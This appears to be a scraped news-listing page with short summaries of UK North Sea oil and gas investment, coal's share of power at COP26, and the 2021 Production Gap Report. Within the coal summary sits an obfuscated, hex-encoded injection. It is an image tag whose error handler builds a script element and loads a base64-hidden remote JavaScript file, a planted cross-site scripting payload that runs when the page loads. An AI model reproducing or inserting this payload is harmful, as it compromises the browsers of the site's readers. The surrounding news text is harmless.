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UK: Exploration Task Force makes the case for responsible upstream investment on the UK Continental Shelf

The UK’s Exploration Task Force (‘XTF’) has recently issued an information pack making the case for responsible investment in UK oil and gas exploration and production. Investment will support the industry in limiting the impact of global supply challenges as it works towards meeting its 2050 net zero commitment, in parallel with UK demand reduction and expansion of low carbon energies and energy storage.
United Kingdom North Sea Oceans General Nick Terrell Jenny Morris John Underhill

Agenda for CoP26: Why the phasing out of coal won't be decided in a jiffy

Despite the progress, coal still accounts for 34 per cent of the world’s power production in 2020; and that is only going to rise">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e6">
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Governments' fossil fuel production plans dangerously out of sync with Paris limits | Planet

The 2021 Production Gap Report, by leading research institutes and the UN Environment Programme (UNEP), finds that despite increased climate ambitions and net-zero commitments, governments still plan to produce more than double the amount of fossil fuels
United States France General United Kingdom South Africa United Arab Emirates Saudi Arabia

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